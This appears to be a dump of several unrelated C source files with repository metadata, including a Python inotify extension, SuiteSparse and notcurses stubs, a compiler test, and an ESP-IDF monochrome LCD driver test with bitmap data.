evt->cookie == Py_None ? -1 : PyInt_AsLong(evt->cookie); PyObject *ret = NULL, *pymasks = NULL, *pymask = NULL; PyObject *tuple = NULL, *formatstr = NULL; pymasks = decode_mask(PyInt_AsLong(evt->mask)); if (pymasks == NULL) goto bail; pymask = _PyString_Join(join, pymasks); if (pymask == NULL) goto bail; if (evt->name != Py_None) { if (cookie == -1) { formatstr = er_wmn; tuple = PyTuple_Pack(3, evt->wd, pymask, evt->name); } else { formatstr = er_wmcn; tuple = PyTuple_Pack(4, evt->wd, pymask, evt->cookie, evt->name); } } else { if (cookie == -1) { formatstr = er_wm; tuple = PyTuple_Pack(2, evt->wd, pymask); } else { formatstr = er_wmc; tuple = PyTuple_Pack(3, evt->wd, pymask, evt->cookie); } } if (tuple == NULL) goto bail; ret = PyNumber_Remainder(formatstr, tuple); if (ret == NULL) goto bail; goto done; bail: Py_CLEAR(ret); done: Py_XDECREF(pymask); Py_XDECREF(pymasks); Py_XDECREF(tuple); return ret; } static PyTypeObject event_type = { PyVarObject_HEAD_INIT(NULL, 0) "_inotify.event", /*tp_name*/ sizeof(struct event), /*tp_basicsize*/ 0, /*tp_itemsize*/ (destructor)event_dealloc, /*tp_dealloc*/ 0, /*tp_print*/ 0, /*tp_getattr*/ 0, /*tp_setattr*/ 0, /*tp_compare*/ (reprfunc)event_repr, /*tp_repr*/ 0, /*tp_as_number*/ 0, /*tp_as_sequence*/ 0, /*tp_as_mapping*/ 0, /*tp_hash */ 0, /*tp_call*/ 0, /*tp_str*/ 0, /*tp_getattro*/ 0, /*tp_setattro*/ 0, /*tp_as_buffer*/ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /*tp_flags*/ event_doc, /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ 0, /* tp_methods */ 0, /* tp_members */ event_getsets, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ 0, /* tp_init */ 0, /* tp_alloc */ event_new, /* tp_new */ }; PyObject *read_events(PyObject *self, PyObject *args) { PyObject *ctor_args = NULL; PyObject *pybufsize = NULL; PyObject *ret = NULL; int bufsize = 65536; char *buf = NULL; int nread, pos; int fd; if (!PyArg_ParseTuple(args, "i|O:read", &fd, &pybufsize)) goto bail; if (pybufsize && pybufsize != Py_None) bufsize = PyInt_AsLong(pybufsize); ret = PyList_New(0); if (ret == NULL) goto bail; if (bufsize <= 0) { int r; Py_BEGIN_ALLOW_THREADS; r = ioctl(fd, FIONREAD, &bufsize); Py_END_ALLOW_THREADS; if (r == -1) { PyErr_SetFromErrno(PyExc_OSError); goto bail; } if (bufsize == 0) goto done; } else { static long name_max; static long name_fd = -1; long min; if (name_fd != fd) { name_fd = fd; Py_BEGIN_ALLOW_THREADS; name_max = fpathconf(fd, _PC_NAME_MAX); Py_END_ALLOW_THREADS; } min = sizeof(struct inotify_event) + name_max + 1; if (bufsize < min) { PyErr_Format(PyExc_ValueError, "bufsize must be at least %d", (int)min); goto bail; } } buf = alloca(bufsize); Py_BEGIN_ALLOW_THREADS; nread = read(fd, buf, bufsize); Py_END_ALLOW_THREADS; if (nread == -1) { PyErr_SetFromErrno(PyExc_OSError); goto bail; } ctor_args = PyTuple_New(0); if (ctor_args == NULL) goto bail; pos = 0; while (pos < nread) { struct inotify_event *in = (struct inotify_event *)(buf + pos); struct event *evt; PyObject *obj; obj = PyObject_CallObject((PyObject *)&event_type, ctor_args); if (obj == NULL) goto bail; evt = (struct event *)obj; evt->wd = PyInt_FromLong(in->wd); evt->mask = PyInt_FromLong(in->mask); if (in->mask & IN_MOVE) evt->cookie = PyInt_FromLong(in->cookie); else { Py_INCREF(Py_None); evt->cookie = Py_None; } if (in->len) evt->name = PyString_FromString(in->name); else { Py_INCREF(Py_None); evt->name = Py_None; } if (!evt->wd || !evt->mask || !evt->cookie || !evt->name) goto mybail; if (PyList_Append(ret, obj) == -1) goto mybail; pos += sizeof(struct inotify_event) + in->len; continue; mybail: Py_CLEAR(evt->wd); Py_CLEAR(evt->mask); Py_CLEAR(evt->cookie); Py_CLEAR(evt->name); Py_DECREF(obj); goto bail; } goto done; bail: Py_CLEAR(ret); done: Py_XDECREF(ctor_args); return ret; } static int init_globals(void) { join = PyString_FromString("|"); er_wm = PyString_FromString("event(wd=%d, mask=%s)"); er_wmn = PyString_FromString("event(wd=%d, mask=%s, name=%s)"); er_wmc = PyString_FromString("event(wd=%d, mask=%s, cookie=0x%x)"); er_wmcn = PyString_FromString("event(wd=%d, mask=%s, cookie=0x%x, name=%s)"); return join && er_wm && er_wmn && er_wmc && er_wmcn; } PyDoc_STRVAR( read_doc, "read(fd, bufsize[=65536]) -> list_of_events\n" "\n" "\nRead inotify events from a file descriptor.\n" "\n" " fd: file descriptor returned by init()\n" " bufsize: size of buffer to read into, in bytes\n" "\n" "Return a list of event objects.\n" "\n" "If bufsize is > 0, block until events are available to be read.\n" "Otherwise, immediately return all events that can be read without\n" "blocking."); static PyMethodDef methods[] = { {"init", init, METH_VARARGS, init_doc}, {"add_watch", add_watch, METH_VARARGS, add_watch_doc}, {"remove_watch", remove_watch, METH_VARARGS, remove_watch_doc}, {"read", read_events, METH_VARARGS, read_doc}, {"decode_mask", pydecode_mask, METH_VARARGS, decode_mask_doc}, {NULL}, }; #ifdef IS_PY3K static struct PyModuleDef _inotify_module = { PyModuleDef_HEAD_INIT, "_inotify", doc, -1, methods }; PyMODINIT_FUNC PyInit__inotify(void) { PyObject *mod, *dict; mod = PyModule_Create(&_inotify_module); if (mod == NULL) return NULL; if (!init_globals()) return; dict = PyModule_GetDict(mod); if (dict) define_consts(dict); return mod; } #else void init_inotify(void) { PyObject *mod, *dict; if (PyType_Ready(&event_type) == -1) return; if (!init_globals()) return; mod = Py_InitModule3("_inotify", methods, doc); dict = PyModule_GetDict(mod); if (dict) define_consts(dict); } #endif
9fa13b8b73e9ace1415a437f2173cc34baa2576e
21c92afbd7fd022a206fb31294c523aebb770104
/SuiteSparse/CHOLMOD/SourceWrappers/cholmod_l_etree.o.c
8591b7d5e45dc578d5949c128dd56648a1890218
[ "BSD-3-Clause", "LicenseRef-scancode-free-unknown", "LicenseRef-scancode-unknown-license-reference", "GPL-2.0-or-later", "GPL-3.0-only", "LGPL-2.1-or-later", "LGPL-2.0-or-later", "GPL-1.0-or-later", "LicenseRef-scancode-other-copyleft", "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
jlblancoc/suitesparse-metis-for-windows
70e6bcab2b525afb41758d61f823efa0618f67cf
5ee2eb4bc7bfd6d27af2f7fb027b1545cfc0fa3f
refs/heads/master
2023-08-30T21:15:39.624300
2023-03-09T10:16:48
2023-03-09T10:16:48
16,236,582
423
251
BSD-3-Clause
2023-03-09T10:18:08
2014-01-25T18:06:21
C
UTF-8
C
false
false
53
c
cholmod_l_etree.o.c
#define DLONG #include <../Cholesky/cholmod_etree.c>
0a46f5a26922d50577f8a084ffc16f30f4c648a5
7783a1b50afc84b3225d3caa1225fb8083fffa32
/src/media/none.c
cf239bc1969b1c505a523a6a9c5404e47cf16351
[ "LicenseRef-scancode-warranty-disclaimer", "MIT", "Apache-2.0" ]
permissive
dankamongmen/notcurses
fff8cfd2f349ee03dc9d3adff74afd286f271856
e8b4c7958ace55c4b09b5337a0ed6031f5eb8aba
refs/heads/master
2023-08-31T05:24:55.243990
2023-08-06T05:33:21
2023-08-06T08:37:48
222,187,361
2,914
137
NOASSERTION
2023-08-06T08:37:49
2019-11-17T02:38:24
C
UTF-8
C
false
false
288
c
none.c
#include "builddef.h" #ifndef USE_OIIO #ifndef USE_FFMPEG #include "lib/internal.h" static void printbanner(fbuf* f){ fbuf_puts(f, "built without multimedia support" NL); } ncvisual_implementation local_visual_implementation = { .visual_printbanner = printbanner, }; #endif #endif
125ff9ae5cbabb8cc04c88be17456a363401f3d7
f9e0bec9ebe796b499669219fdc93596c9ac84bc
/test/typedef.c
763d37d3e479d17d6e45369d4cee73c225c8174c
[ "Unlicense", "ISC", "LicenseRef-scancode-public-domain", "MIT" ]
permissive
michaelforney/cproc
9dac8bbb4c51edcd5e27a282963126c34052dc29
0985a7893a4b5de63a67ebab445892d9fffe275b
refs/heads/master
2023-09-03T12:51:45.642163
2022-12-14T22:29:59
2023-05-02T18:53:44
182,349,746
582
50
NOASSERTION
2022-10-30T21:23:20
2019-04-20T02:24:28
C
UTF-8
C
false
false
20
c
typedef.c
typedef int T; T x;
cab7a7e654fa963a8986c63c6c807b3e5cd7364c
abe704eb3b53944cdd6505f922f58558e334c589
/components/display/screen/test/lcd_mono_test.c
99a803a78eb971df9226b4b69dae15864162e699
[ "Apache-2.0" ]
permissive
espressif/esp-iot-solution
c25079eb26a8f54ddacd23689a7288533c721916
2227f0ca21ab37df9cf9d74182fa84c52dffc76f
refs/heads/master
2023-09-01T15:06:17.000154
2023-08-31T10:26:21
2023-08-31T10:26:21
99,690,601
1,612
758
Apache-2.0
2023-09-08T08:43:59
2017-08-08T12:32:16
C
UTF-8
C
false
false
65,757
c
lcd_mono_test.c
/* * SPDX-FileCopyrightText: 2022-2023 Espressif Systems (Shanghai) CO LTD * * SPDX-License-Identifier: Apache-2.0 */ #include <stdio.h> #include <string.h> #include "unity.h" #include "test_utils.h" #include "esp_log.h" #include "screen_driver.h" #include "ssd1306.h" #include "ssd1307.h" #include "ssd1322.h" static const char *TAG = "mono lcd test"; static const unsigned char bmp_image_128_64[]; static const unsigned char bmp_image_52_24[]; static const unsigned char bmp_image_256_64_4bit[]; static void contrast_test(esp_err_t (*set_contrast)(uint8_t v)) { set_contrast(2); uint8_t v = 0, dir = 0, times = 2; while (1) { if (0 == dir) { if (++v >= 25) { dir = 1; if (0 == times--) { break; } } } else { if (--v < 1) { dir = 0; } } ESP_LOGI(TAG, "contrast = %d", v * 10); set_contrast(v * 10); vTaskDelay(100 / portTICK_PERIOD_MS); } } TEST_CASE("Screen SSD1306 I2C test", "[screen][iot]") { scr_driver_t lcd; scr_info_t lcd_info; i2c_config_t i2c_conf = { .mode = I2C_MODE_MASTER, .sda_io_num = 12, .sda_pullup_en = GPIO_PULLUP_ENABLE, .scl_io_num = 32, .scl_pullup_en = GPIO_PULLUP_ENABLE, .master.clk_speed = 100000, }; i2c_bus_handle_t i2c_bus = i2c_bus_create(I2C_NUM_0, &i2c_conf); TEST_ASSERT_NOT_NULL(i2c_bus); scr_interface_i2c_config_t iface_cfg = { .i2c_bus = i2c_bus, .clk_speed = 100000, .slave_addr = 0x3C, }; scr_interface_driver_t *iface_drv; TEST_ASSERT(ESP_OK == scr_interface_create(SCREEN_IFACE_I2C, &iface_cfg, &iface_drv)); scr_controller_config_t lcd_cfg = {0}; lcd_cfg.interface_drv = iface_drv, lcd_cfg.pin_num_rst = 0, lcd_cfg.pin_num_bckl = -1, lcd_cfg.rst_active_level = 0, lcd_cfg.bckl_active_level = 1, lcd_cfg.width = 128; lcd_cfg.height = 64; lcd_cfg.rotate = SCR_DIR_LRTB; TEST_ASSERT(ESP_OK == scr_find_driver(SCREEN_CONTROLLER_SSD1306, &lcd)); TEST_ASSERT(ESP_OK == lcd.init(&lcd_cfg)); TEST_ASSERT(ESP_OK == lcd.get_info(&lcd_info)); ESP_LOGI(TAG, "Screen name:%s | width:%d | height:%d", lcd_info.name, lcd_info.width, lcd_info.height); TEST_ASSERT(ESP_OK == lcd.draw_bitmap(0, 0, 128, 64, (uint16_t *)bmp_image_128_64)); vTaskDelay(1000 / portTICK_PERIOD_MS); uint8_t i = 0, j = 0; for (i = 0; i < 128 - 52; i++) { lcd.draw_bitmap(i, j, 52, 24, (uint16_t *)bmp_image_52_24); vTaskDelay(100 / portTICK_PERIOD_MS); } contrast_test(lcd_ssd1306_set_contrast); lcd.deinit(); scr_interface_delete(iface_drv); i2c_bus_delete(&i2c_bus); } TEST_CASE("Screen SSD1307 I2C test", "[screen][iot]") { scr_driver_t lcd; scr_info_t lcd_info; i2c_config_t i2c_conf = { .mode = I2C_MODE_MASTER, .sda_io_num = 6, .sda_pullup_en = GPIO_PULLUP_ENABLE, .scl_io_num = 7, .scl_pullup_en = GPIO_PULLUP_ENABLE, .master.clk_speed = 100000, }; i2c_bus_handle_t i2c_bus = i2c_bus_create(I2C_NUM_0, &i2c_conf); TEST_ASSERT_NOT_NULL(i2c_bus); scr_interface_i2c_config_t iface_cfg = { .i2c_bus = i2c_bus, .clk_speed = 100000, .slave_addr = 0x3D, }; scr_interface_driver_t *iface_drv; TEST_ASSERT(ESP_OK == scr_interface_create(SCREEN_IFACE_I2C, &iface_cfg, &iface_drv)); scr_controller_config_t lcd_cfg = {0}; lcd_cfg.interface_drv = iface_drv, lcd_cfg.pin_num_rst = 0, lcd_cfg.pin_num_bckl = -1, lcd_cfg.rst_active_level = 0, lcd_cfg.bckl_active_level = 1, lcd_cfg.width = 128; lcd_cfg.height = 32; lcd_cfg.rotate = SCR_DIR_LRTB; TEST_ASSERT(ESP_OK == scr_find_driver(SCREEN_CONTROLLER_SSD1307, &lcd)); TEST_ASSERT(ESP_OK == lcd.init(&lcd_cfg)); TEST_ASSERT(ESP_OK == lcd.get_info(&lcd_info)); ESP_LOGI(TAG, "Screen name:%s | width:%d | height:%d", lcd_info.name, lcd_info.width, lcd_info.height); uint8_t i = 0, j = 0; for (i = 0; i < 128 - 52; i++) { TEST_ASSERT(ESP_OK == lcd.draw_bitmap(i, j, 52, 24, (uint16_t *)bmp_image_52_24)); vTaskDelay(100 / portTICK_PERIOD_MS); } contrast_test(lcd_ssd1307_set_contrast); lcd.deinit(); scr_interface_delete(iface_drv); i2c_bus_delete(&i2c_bus); } TEST_CASE("Screen SSD1322 SPI test", "[screen][iot]") { scr_driver_t lcd; scr_info_t lcd_info; spi_config_t spi_cfg = { .miso_io_num = -1, .mosi_io_num = 37, .sclk_io_num = 38, .max_transfer_sz = 320 * 480, }; spi_bus_handle_t spi_bus = spi_bus_create(2, &spi_cfg); TEST_ASSERT_NOT_NULL(spi_bus); scr_interface_spi_config_t spi_lcd_cfg = { .spi_bus = spi_bus, .pin_num_cs = 41, .pin_num_dc = 35, .clk_freq = 5000000, .swap_data = false, }; scr_interface_driver_t *iface_drv; TEST_ASSERT(ESP_OK == scr_interface_create(SCREEN_IFACE_SPI, &spi_lcd_cfg, &iface_drv)); scr_controller_config_t lcd_cfg = {0}; lcd_cfg.interface_drv = iface_drv, lcd_cfg.pin_num_rst = 0, lcd_cfg.pin_num_bckl = -1, lcd_cfg.rst_active_level = 0, lcd_cfg.bckl_active_level = 1, lcd_cfg.width = 256; lcd_cfg.height = 64; lcd_cfg.rotate = SCR_DIR_LRTB; TEST_ASSERT(ESP_OK == scr_find_driver(SCREEN_CONTROLLER_SSD1322, &lcd)); TEST_ASSERT(ESP_OK == lcd.init(&lcd_cfg)); TEST_ASSERT(ESP_OK == lcd.get_info(&lcd_info)); ESP_LOGI(TAG, "Screen name:%s | width:%d | height:%d", lcd_info.name, lcd_info.width, lcd_info.height); lcd.draw_bitmap(0, 0, 256, 64, (uint16_t *)bmp_image_256_64_4bit); vTaskDelay(1000 / portTICK_PERIOD_MS); uint8_t *pixels = heap_caps_malloc(lcd_info.width * lcd_info.bpp / 8 * sizeof(uint8_t), MALLOC_CAP_8BIT | MALLOC_CAP_INTERNAL); TEST_ASSERT_NOT_NULL(pixels); for (size_t i = 0; i < lcd_info.width * lcd_info.bpp / 8; i++) { uint32_t c = (i * (1 << lcd_info.bpp)) / (lcd_info.width * lcd_info.bpp / 8); pixels[i] = c | c << 4; } for (size_t i = 0; i < lcd_info.height; i++) { lcd.draw_bitmap(0, i, lcd_info.width, 1, (uint16_t *)pixels); vTaskDelay(100 / portTICK_PERIOD_MS); } for (size_t i = 0; i < lcd_info.width * lcd_info.bpp / 8; i++) { uint32_t c = (i * (1 << lcd_info.bpp)) / (lcd_info.width * lcd_info.bpp / 8); pixels[(lcd_info.width * lcd_info.bpp / 8) - i - 1] = c | c << 4; } for (size_t i = 0; i < lcd_info.height; i++) { lcd.draw_bitmap(0, i, lcd_info.width, 1, (uint16_t *)pixels); vTaskDelay(100 / portTICK_PERIOD_MS); } contrast_test(lcd_ssd1322_set_contrast); heap_caps_free(pixels); lcd.deinit(); scr_interface_delete(iface_drv); spi_bus_delete(&spi_bus); } static const unsigned char bmp_image_128_64[1024] = { 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XF8, 0XFE, 0XFE, 0X3E, 0X78, 0X70, 0X70, 0X78, 0X3E, 0XFE, 0XF8, 0XF8, 0X00, 0XF8, 0XF8, 0X00, 0X00, 0XF8, 0XF8, 0X00, 0X00, 0X00, 0X00, 0XF8, 0XFE, 0XFE, 0X0E, 0X0E, 0X0E, 0X00, 0X00, 0X00, 0XB0, 0XB0, 0XF0, 0XF0, 0XC0, 0X00, 0XF0, 0XF0, 0XF0, 0X40, 0X70, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0E, 0X31, 0X46, 0X31, 0X31, 0X0E, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0X46, 0X46, 0X86, 0X08, 0X86, 0X46, 0X46, 0X38, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X1F, 0X1F, 0X1F, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X1F, 0X1F, 0X1F, 0X00, 0X43, 0X5F, 0X5C, 0X5C, 0X7F, 0X3F, 0X00, 0X00, 0X00, 0X00, 0X03, 0X1F, 0X1F, 0X1F, 0X1F, 0X1F, 0X00, 0X00, 0X03, 0X1F, 0X1C, 0X1F, 0X1F, 0X1F, 0X00, 0X1F, 0X1F, 0X1F, 0X00, 0X00, 0X00, 0X00, 0X00, 0X1F, 0X1F, 0X00, 0X00, 0X1F, 0X1F, 0X00, 0X1F, 0X1F, 0X1F, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XC0, 0X20, 0X20, 0X1C, 0X03, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X80, 0X00, 0X80, 0X00, 0X00, 0X00, 0X03, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XE0, 0X18, 0X18, 0X18, 0X20, 0X18, 0X18, 0X18, 0XE0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X38, 0XC4, 0XC4, 0X18, 0XC4, 0X38, 0X38, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XC0, 0XC0, 0XC0, 0XE0, 0X20, 0X20, 0XF8, 0XF8, 0XF8, 0XD8, 0XF8, 0XF8, 0XF8, 0X3C, 0X3C, 0X3C, 0X3C, 0X3C, 0X3C, 0X3C, 0X3C, 0X3C, 0X3C, 0XFC, 0X3C, 0X3C, 0X3C, 0XDC, 0XDC, 0XD8, 0XD8, 0XD8, 0X38, 0X3C, 0X3C, 0X3C, 0XE4, 0XE2, 0XE1, 0XC0, 0XC0, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X02, 0X02, 0X05, 0X1A, 0X05, 0X02, 0X02, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X01, 0X01, 0X02, 0X0C, 0X02, 0X02, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X81, 0XE0, 0XF0, 0XF0, 0X70, 0X1C, 0X0C, 0X7E, 0X7E, 0XF3, 0XFF, 0XFD, 0X1E, 0X1E, 0X0E, 0X01, 0X81, 0X8D, 0X8D, 0X0C, 0X0C, 0X0C, 0X0C, 0X0C, 0X0C, 0X0C, 0X0C, 0X0C, 0X0C, 0X0C, 0X0C, 0X00, 0X00, 0X80, 0XFF, 0XFE, 0XFE, 0XFE, 0XFC, 0XE0, 0X80, 0X80, 0X10, 0X11, 0X01, 0X83, 0X83, 0X82, 0X8C, 0X9C, 0XF1, 0XF1, 0XE1, 0X83, 0X0F, 0X0F, 0X0E, 0X1E, 0X7C, 0X7C, 0X7C, 0XF0, 0XE0, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X0E, 0X11, 0X11, 0X62, 0X11, 0X0E, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X80, 0X80, 0XC0, 0XC0, 0XC0, 0X70, 0X70, 0X78, 0X78, 0X78, 0X78, 0X38, 0X78, 0X78, 0X4E, 0X4E, 0X4E, 0X0E, 0X0E, 0X8F, 0X87, 0XB9, 0XB9, 0XBE, 0X3E, 0X3E, 0X3E, 0X3E, 0X3F, 0X3F, 0X3F, 0X3E, 0X3E, 0X0E, 0X0E, 0X0F, 0X0F, 0X0F, 0X0E, 0X0E, 0X0E, 0X0E, 0X0E, 0X0E, 0X0E, 0X0E, 0X0E, 0X0E, 0X0E, 0X0E, 0X8E, 0X8E, 0XCF, 0X8F, 0X8F, 0X8F, 0X8F, 0X0F, 0X0F, 0X0F, 0X0F, 0X0E, 0X0E, 0X0E, 0X0F, 0X0F, 0X0F, 0X0F, 0X0F, 0X8F, 0X8F, 0X87, 0X87, 0X46, 0X46, 0X40, 0X00, 0X30, 0X30, 0X30, 0X31, 0X37, 0X3F, 0X3E, 0X3E, 0X3E, 0X38, 0XF8, 0XC0, 0XC0, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X80, 0XE0, 0XF8, 0X64, 0X64, 0X67, 0X1F, 0X03, 0X03, 0X00, 0X80, 0XC0, 0XE0, 0XE0, 0XE0, 0XE0, 0XF8, 0XF8, 0XF8, 0XE0, 0XE0, 0XE0, 0XC0, 0XC0, 0X80, 0X23, 0X43, 0X43, 0X84, 0X1F, 0X78, 0XC0, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X03, 0X03, 0X03, 0X03, 0X03, 0X03, 0XFF, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XC0, 0XF8, 0XF8, 0X78, 0X1C, 0XC7, 0X63, 0X63, 0XF8, 0XF8, 0XF8, 0XF8, 0XE0, 0XE0, 0XF8, 0XF8, 0XF8, 0XF8, 0XF8, 0XF8, 0XE0, 0XE0, 0XE0, 0XC0, 0X80, 0X83, 0X83, 0X07, 0X1F, 0XBC, 0XBC, 0XF8, 0XE0, 0XC0, 0X80, 0X80, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3E, 0X3E, 0XFF, 0XFB, 0XFF, 0X3E, 0X3E, 0X06, 0X02, 0XFC, 0XFC, 0XFE, 0XFF, 0XFF, 0XFF, 0XFF, 0XFB, 0X03, 0X07, 0X07, 0X07, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0XFC, 0XFC, 0X01, 0X00, 0X00, 0XFF, 0XFF, 0XC0, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XFF, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0XC7, 0X3F, 0X3F, 0X3C, 0X06, 0X03, 0XFC, 0XFC, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X03, 0X07, 0X07, 0X07, 0X03, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X06, 0XFF, 0XFF, 0XFF, 0XFF, 0X3F, 0X07, 0X07, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X01, 0X03, 0X8F, 0X8E, 0X8E, 0XE0, 0XE0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0XFE, 0X8E, 0X82, 0XF1, 0XF1, 0XF1, 0X80, 0XFC, 0XFE, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0XF0, 0XF0, 0XF1, 0XF1, 0XF1, 0XF0, 0XF0, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF2, 0XF3, 0XF3, 0XF3, 0XF3, 0XF3, 0XF3, 0XF3, 0XF3, 0XF3, 0XF1, 0XF0, 0XF0, 0XF1, 0XF1, 0XF1, 0XF1, 0XF1, 0XF0, 0XF0, 0XF0, 0XF0, 0XFE, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0XFE, 0XE1, 0XF1, 0XF1, 0XF1, 0XE0, 0XEC, 0XFE, 0XFE, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF3, 0XF2, 0XE3, 0XE3, 0XE3, 0XE1, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, }; static const unsigned char bmp_image_52_24[156] = { /* 0X02,0X01,0X34,0X00,0X18,0X00, */ 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X1E, 0X82, 0X86, 0X02, 0X1E, 0X06, 0X38, 0X1E, 0X80, 0X06, 0X1B, 0X1B, 0X00, 0X1A, 0X1C, 0X00, 0X9C, 0X80, 0X80, 0X98, 0X98, 0X80, 0X98, 0X80, 0X83, 0X81, 0X80, 0X80, 0X00, 0X20, 0X08, 0X00, 0X00, 0X40, 0XC0, 0X04, 0X00, 0X04, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X01, 0X80, 0XC0, 0X41, 0X60, 0X60, 0X20, 0X70, 0X31, 0X18, 0XAC, 0X24, 0X3E, 0X3E, 0X27, 0X31, 0X31, 0X25, 0X35, 0X34, 0X34, 0X20, 0XF0, 0XBF, 0X3C, 0X39, 0X25, 0X32, 0X39, 0XBD, 0X1A, 0X42, 0X04, 0X2C, 0X38, 0X30, 0X20, 0XC0, 0X80, 0X02, 0X06, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X3C, 0X3F, 0X87, 0XF8, 0XFC, 0XFE, 0XA6, 0X87, 0XDE, 0XFE, 0XFC, 0XE0, 0XC1, 0XDE, 0XC0, 0XE0, 0XE0, 0XE0, 0XE0, 0XE0, 0XE0, 0XA0, 0XA0, 0XA0, 0XA0, 0XC0, 0XC0, 0XC0, 0XDE, 0XC9, 0XE2, 0XFF, 0XFF, 0XDE, 0X87, 0X87, 0XFE, 0XFE, 0XFC, 0XAD, 0XBF, 0X1E, 0X00, 0X00, 0X00, 0X00, 0X00 }; static const unsigned char bmp_image_256_64_4bit[8192] = { /* 0X00,0X04,0X00,0X01,0X40,0X00, */ 0X00, 0X00, 0X00, 0X00, 0X00, 0X2C, 0XA0, 0X00, 0X0A, 0XCC, 0XC8, 0X53, 0X02, 0XFC, 0XCC, 0XCC, 0XAC, 0XAA, 0XC8, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00, 